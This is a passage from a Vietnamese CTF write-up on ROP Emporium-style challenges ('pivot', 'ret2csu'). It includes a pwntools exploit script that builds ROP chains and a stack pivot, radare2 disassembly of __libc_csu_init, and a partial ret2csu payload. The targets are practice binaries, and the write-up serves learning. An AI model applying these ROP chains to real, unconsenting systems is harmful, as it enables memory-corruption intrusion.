<span class="o">[</span><span class="n">0x4009c0</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rax</span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span><span class="n">Lấy</span><span class="w"> </span><span class="n">địa</span><span class="w"> </span><span class="n">chỉ</span><span class="w"> </span><span class="n">của</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"> </span><span class="n">đã</span><span class="w"> </span><span class="n">resolve</span><span class="w"></span>
<span class="o">---></span><span class="w"> </span><span class="n">thêm</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="n">giữa</span><span class="w"> </span><span class="n">foothold</span><span class="w"> </span><span class="n">và</span><span class="w"> </span><span class="n">ret2win</span><span class="w"> </span><span class="n">để</span><span class="w"> </span><span class="n">rax</span><span class="w"> </span><span class="n">trỏ</span><span class="w"> </span><span class="n">về</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4007c8</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rbp</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4009c4</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="w"> </span><span class="n">rbp</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4006b0</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="n">rax</span><span class="p">;</span><span class="w"> </span><span class="n">Gọi</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
</code></pre></div>
<p>Code payload 1</p>
<div class="highlight"><pre><span></span><code><span class="n">lib_foothold_addrs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x0000096a</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mh">0x0000096a</span><span class="w"> </span><span class="mh">0x0000096a</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"></span>
<span class="n">lib_ret2win_addrs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x00000a81</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mi">18</span><span class="w"> </span><span class="mh">0x00000a81</span><span class="w"> </span><span class="mh">0x00000a81</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="mi">146</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x400720</span><span class="p">)</span><span class="w"> </span><span class="n">#8</span><span class="w"> </span><span class="mh">0x00400720</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bb</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x00000000004009bb</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rax</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x601040</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mi">6</span><span class="err">:</span><span class="w"> </span><span class="n">sym</span><span class="p">.</span><span class="n">imp</span><span class="p">.</span><span class="n">foothold_function</span><span class="w"> </span><span class="p">();</span><span class="w"> </span><span class="mh">0x00400720</span><span class="w"> </span><span class="n">ff251a092000</span><span class="w"> </span><span class="n">jmp</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="o">[</span><span class="n">reloc.foothold_function</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">[</span><span class="n">0x601040:8</span><span class="o">]=</span><span class="mh">0x400726</span><span class="p">;</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4009c0</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x00000000004009c0</span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rax</span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4007c8</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x00000000004007c8</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rbp</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">lib_ret2win_addrs</span><span class="o">-</span><span class="n">lib_foothold_addrs</span><span class="p">)</span><span class="w"> </span><span class="n">#offset</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4009c4</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x00000000004009c4</span><span class="err">:</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="w"> </span><span class="n">rbp</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4006b0</span><span class="p">)</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x00000000004006b0</span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="n">rax</span><span class="p">;</span><span class="w"></span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Kết hợp 2 payload</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">'amd64'</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">'linux'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">'./pivot'</span><span class="p">)</span>
<span class="c1"># gdb.attach(p,'''</span>
<span class="c1"># break *pwnme</span>
<span class="c1"># ''')</span>
<span class="n">line1</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'>'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line1</span><span class="p">)</span>
<span class="n">heap_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'pivot: (0x\w+)'</span><span class="p">,</span> <span class="n">line1</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Found heap address: </span><span class="si">{:02x}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">heap_addr</span><span class="p">))</span>
<span class="n">lib_foothold_addrs</span> <span class="o">=</span> <span class="mh">0x0000096a</span> <span class="c1"># 10 0x0000096a 0x0000096a GLOBAL FUNC 19 foothold_function</span>
<span class="n">lib_ret2win_addrs</span> <span class="o">=</span> <span class="mh">0x00000a81</span> <span class="c1"># 18 0x00000a81 0x00000a81 GLOBAL FUNC 146 ret2win</span>
<span class="n">payload1</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400720</span><span class="p">)</span> <span class="c1">#8 0x00400720 GLOBAL FUNC foothold_function</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bb</span><span class="p">)</span> <span class="c1"># 0x00000000004009bb: pop rax; ret;</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601040</span><span class="p">)</span> <span class="c1"># 6: sym.imp.foothold_function (); 0x00400720 ff251a092000 jmp qword [reloc.foothold_function] ; [0x601040:8]=0x400726;</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4009c0</span><span class="p">)</span> <span class="c1"># 0x00000000004009c0: mov rax, qword ptr [rax]; ret;</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4007c8</span><span class="p">)</span> <span class="c1"># 0x00000000004007c8: pop rbp; ret;</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">lib_ret2win_addrs</span><span class="o">-</span><span class="n">lib_foothold_addrs</span><span class="p">)</span> <span class="c1">#offset</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4009c4</span><span class="p">)</span> <span class="c1"># 0x00000000004009c4: add rax, rbp; ret;</span>
<span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4006b0</span><span class="p">)</span> <span class="c1"># 0x00000000004006b0: call rax;</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>
<span class="n">line2</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'>'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line2</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bb</span><span class="p">)</span> <span class="c1">#0x00000000004009bb: pop rax; ret;</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_addr</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bd</span><span class="p">)</span> <span class="c1"># 0x00000000004009bd: xchg rax, rsp; ret;</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
<span class="n">line3</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'libpivot'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line3</span><span class="p">)</span>
<span class="c1"># leak_foothold_got = p.recv(8)</span>
<span class="c1"># print(leak_foothold_got.hex())</span>
<span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvall</span><span class="p">())</span>
<span class="c1"># p.interactive()</span>
</code></pre></div>
<h2>Ret2csu</h2>
<p>Challenge 8 tương tự Challenge 3 Callme, tuy nhiên ta sẽ sử dụng phương pháp khác để lấy kiểm soát các giá trị rdi, rsi, rdx (3 thanh ghi chứa tham số arg1, arg2, arg3)</p>
<p><a href="https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf">https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf</a></p>
<p>Ở đây ta sẽ có 2 Gadget, sử dụng radare2 để disassemble function __libc_csu_init__</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="nt">radare2</span><span class="w"> </span><span class="nt">ret2csu</span><span class="w"></span>
<span class="cp">[</span><span class="mh">0x00400520</span><span class="cp">]</span><span class="o">></span><span class="w"> </span><span class="nt">aaa</span><span class="w"></span>
<span class="cp">[</span><span class="mh">0x00400520</span><span class="cp">]</span><span class="o">></span><span class="w"> </span><span class="nt">afl</span><span class="w"></span>
<span class="o">...</span><span class="w"></span>
<span class="nt">0x00400640</span><span class="w"> </span><span class="nt">4</span><span class="w"> </span><span class="nt">101</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">__libc_csu_init</span><span class="w"></span>
<span class="o">...</span><span class="w"></span>
<span class="cp">[</span><span class="mh">0x00400520</span><span class="cp">]</span><span class="o">></span><span class="w"> </span><span class="nt">s</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">__libc_csu_init</span><span class="w"></span>
<span class="cp">[</span><span class="mh">0x00400640</span><span class="cp">]</span><span class="o">></span><span class="w"> </span><span class="nt">pdf</span><span class="w"></span>
<span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">DATA</span><span class="w"> </span><span class="nt">XREF</span><span class="w"> </span><span class="nt">from</span><span class="w"> </span><span class="nt">entry0</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">0x400536</span><span class="w"></span>
<span class="err">┌</span><span class="w"> </span><span class="nt">101</span><span class="o">:</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">__libc_csu_init</span><span class="w"> </span><span class="o">(</span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg1</span><span class="o">,</span><span class="w"> </span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg2</span><span class="o">,</span><span class="w"> </span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg3</span><span class="o">);</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg</span><span class="w"> </span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg1</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">rdi</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg</span><span class="w"> </span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg2</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">rsi</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg</span><span class="w"> </span><span class="nt">int64_t</span><span class="w"> </span><span class="nt">arg3</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">rdx</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400640</span><span class="w"> </span><span class="nt">4157</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">r15</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400642</span><span class="w"> </span><span class="nt">4156</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">r14</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400644</span><span class="w"> </span><span class="nt">4989d7</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">r15</span><span class="o">,</span><span class="w"> </span><span class="nt">rdx</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg3</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400647</span><span class="w"> </span><span class="nt">4155</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">r13</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400649</span><span class="w"> </span><span class="nt">4154</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">r12</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040064b</span><span class="w"> </span><span class="nt">4c8d259e0720</span><span class="o">.</span><span class="w"> </span><span class="nt">lea</span><span class="w"> </span><span class="nt">r12</span><span class="o">,</span><span class="w"> </span><span class="nt">obj</span><span class="p">.</span><span class="nc">__frame_dummy_init_array_entry</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">loc</span><span class="p">.</span><span class="nc">__init_array_start</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">0x600df0</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400652</span><span class="w"> </span><span class="nt">55</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">rbp</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400653</span><span class="w"> </span><span class="nt">488d2d9e0720</span><span class="o">.</span><span class="w"> </span><span class="nt">lea</span><span class="w"> </span><span class="nt">rbp</span><span class="o">,</span><span class="w"> </span><span class="nt">obj</span><span class="p">.</span><span class="nc">__do_global_dtors_aux_fini_array_entry</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">loc</span><span class="p">.</span><span class="nc">__init_array_end</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">0x600df8</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040065a</span><span class="w"> </span><span class="nt">53</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">rbx</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040065b</span><span class="w"> </span><span class="nt">4189fd</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">r13d</span><span class="o">,</span><span class="w"> </span><span class="nt">edi</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg1</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040065e</span><span class="w"> </span><span class="nt">4989f6</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">r14</span><span class="o">,</span><span class="w"> </span><span class="nt">rsi</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">arg2</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400661</span><span class="w"> </span><span class="nt">4c29e5</span><span class="w"> </span><span class="nt">sub</span><span class="w"> </span><span class="nt">rbp</span><span class="o">,</span><span class="w"> </span><span class="nt">r12</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400664</span><span class="w"> </span><span class="nt">4883ec08</span><span class="w"> </span><span class="nt">sub</span><span class="w"> </span><span class="nt">rsp</span><span class="o">,</span><span class="w"> </span><span class="nt">8</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400668</span><span class="w"> </span><span class="nt">48c1fd03</span><span class="w"> </span><span class="nt">sar</span><span class="w"> </span><span class="nt">rbp</span><span class="o">,</span><span class="w"> </span><span class="nt">3</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040066c</span><span class="w"> </span><span class="nt">e85ffeffff</span><span class="w"> </span><span class="nt">call</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">_init</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x00400671</span><span class="w"> </span><span class="nt">4885ed</span><span class="w"> </span><span class="nt">test</span><span class="w"> </span><span class="nt">rbp</span><span class="o">,</span><span class="w"> </span><span class="nt">rbp</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">┌─</span><span class="o"><</span><span class="w"> </span><span class="nt">0x00400674</span><span class="w"> </span><span class="nt">7420</span><span class="w"> </span><span class="nt">je</span><span class="w"> </span><span class="nt">0x400696</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">│</span><span class="w"> </span><span class="nt">0x00400676</span><span class="w"> </span><span class="nt">31db</span><span class="w"> </span><span class="nt">xor</span><span class="w"> </span><span class="nt">ebx</span><span class="o">,</span><span class="w"> </span><span class="nt">ebx</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">│</span><span class="w"> </span><span class="nt">0x00400678</span><span class="w"> </span><span class="nt">0f1f84000000</span><span class="o">.</span><span class="w"> </span><span class="nt">nop</span><span class="w"> </span><span class="nt">dword</span><span class="w"> </span><span class="cp">[</span><span class="nx">rax</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">rax</span><span class="cp">]</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">CODE</span><span class="w"> </span><span class="nt">XREF</span><span class="w"> </span><span class="nt">from</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">__libc_csu_init</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">0x400694</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">┌──</span><span class="o">></span><span class="w"> </span><span class="nt">0x00400680</span><span class="w"> </span><span class="nt">4c89fa</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">rdx</span><span class="o">,</span><span class="w"> </span><span class="nt">r15</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">╎│</span><span class="w"> </span><span class="nt">0x00400683</span><span class="w"> </span><span class="nt">4c89f6</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">rsi</span><span class="o">,</span><span class="w"> </span><span class="nt">r14</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">╎│</span><span class="w"> </span><span class="nt">0x00400686</span><span class="w"> </span><span class="nt">4489ef</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">edi</span><span class="o">,</span><span class="w"> </span><span class="nt">r13d</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">╎│</span><span class="w"> </span><span class="nt">0x00400689</span><span class="w"> </span><span class="nt">41ff14dc</span><span class="w"> </span><span class="nt">call</span><span class="w"> </span><span class="nt">qword</span><span class="w"> </span><span class="cp">[</span><span class="nx">r12</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">rbx</span><span class="o">*</span><span class="mi">8</span><span class="cp">]</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">╎│</span><span class="w"> </span><span class="nt">0x0040068d</span><span class="w"> </span><span class="nt">4883c301</span><span class="w"> </span><span class="nt">add</span><span class="w"> </span><span class="nt">rbx</span><span class="o">,</span><span class="w"> </span><span class="nt">1</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">╎│</span><span class="w"> </span><span class="nt">0x00400691</span><span class="w"> </span><span class="nt">4839dd</span><span class="w"> </span><span class="nt">cmp</span><span class="w"> </span><span class="nt">rbp</span><span class="o">,</span><span class="w"> </span><span class="nt">rbx</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">└──</span><span class="o"><</span><span class="w"> </span><span class="nt">0x00400694</span><span class="w"> </span><span class="nt">75ea</span><span class="w"> </span><span class="nt">jne</span><span class="w"> </span><span class="nt">0x400680</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">│</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">CODE</span><span class="w"> </span><span class="nt">XREF</span><span class="w"> </span><span class="nt">from</span><span class="w"> </span><span class="nt">sym</span><span class="p">.</span><span class="nc">__libc_csu_init</span><span class="w"> </span><span class="o">@</span><span class="w"> </span><span class="nt">0x400674</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="err">└─</span><span class="o">></span><span class="w"> </span><span class="nt">0x00400696</span><span class="w"> </span><span class="nt">4883c408</span><span class="w"> </span><span class="nt">add</span><span class="w"> </span><span class="nt">rsp</span><span class="o">,</span><span class="w"> </span><span class="nt">8</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040069a</span><span class="w"> </span><span class="nt">5b</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">rbx</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040069b</span><span class="w"> </span><span class="nt">5d</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">rbp</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040069c</span><span class="w"> </span><span class="nt">415c</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">r12</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x0040069e</span><span class="w"> </span><span class="nt">415d</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">r13</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x004006a0</span><span class="w"> </span><span class="nt">415e</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">r14</span><span class="w"></span>
<span class="err">│</span><span class="w"> </span><span class="nt">0x004006a2</span><span class="w"> </span><span class="nt">415f</span><span class="w"> </span><span class="nt">pop</span><span class="w"> </span><span class="nt">r15</span><span class="w"></span>
<span class="err">└</span><span class="w"> </span><span class="nt">0x004006a4</span><span class="w"> </span><span class="nt">c3</span><span class="w"> </span><span class="nt">ret</span><span class="w"></span>
<span class="cp">[</span><span class="mh">0x00400640</span><span class="cp">]</span><span class="o">></span><span class="w"></span>
</code></pre></div>
<p>Ta có Gadget 1:</p>
<div class="highlight"><pre><span></span><code>│ ┌──> 0x00400680 4c89fa mov rdx, r15
│ ╎│ 0x00400683 4c89f6 mov rsi, r14
│ ╎│ 0x00400686 4489ef mov edi, r13d
│ ╎│ 0x00400689 41ff14dc call qword [r12 + rbx*8]
</code></pre></div>
<p>Gadget 2</p>
<div class="highlight"><pre><span></span><code>│ 0x0040069a 5b pop rbx
│ 0x0040069b 5d pop rbp
│ 0x0040069c 415c pop r12
│ 0x0040069e 415d pop r13
│ 0x004006a0 415e pop r14
│ 0x004006a2 415f pop r15
└ 0x004006a4 c3 ret
</code></pre></div>
<p>Với payload1 ta sử dụng Gadget 2 để truyền giá trị arg vào r13, r14, r15, Gadget2 cũng control r12 để kết hợp với Gadget 1 gọi đến hàm chúng ta mong muốn đồng thời control edi, rsi, rdx</p>
<div class="highlight"><pre><span></span><code><span class="n">payload1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">libc_csu_int</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x5a</span><span class="p">)</span><span class="w"> </span><span class="c1"># Gadget 1</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="c1"># rbx</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span><span class="w"> </span><span class="c1"># rbp -> add rbx, 0x1;cmp rbp, rbx; jne __libc_csu_init -> rbx==rbp</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">init</span><span class="p">)</span><span class="w"> </span><span class="c1"># r12 -> call qword [r12 + rbx*8]</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeefdeadbeef</span><span class="p">)</span><span class="w"> </span><span class="c1"># r13 -> edi</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0xcafebabecafebabe</span><span class="p">)</span><span class="w"> </span><span class="c1"># r14 -> rsi</span><span class="w"></span>
<span class="n">payload1</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0xd00df00dd00df00d</span><span class="p">)</span><span class="w"> </span><span class="c1"># r15 -> rdx</span><span class="w"></span>
</code></pre></div>
<p>Tới đây ta có rsi và rdx, riêng rdi ta cần phải thực hiện ở payload2, đó là lí do ta không gọi trực tiếp hàm ret2win với r12</p>
<p>Với r12 ta sử dụng hàm <code>__init__</code> vì nó không cần đối số</p>
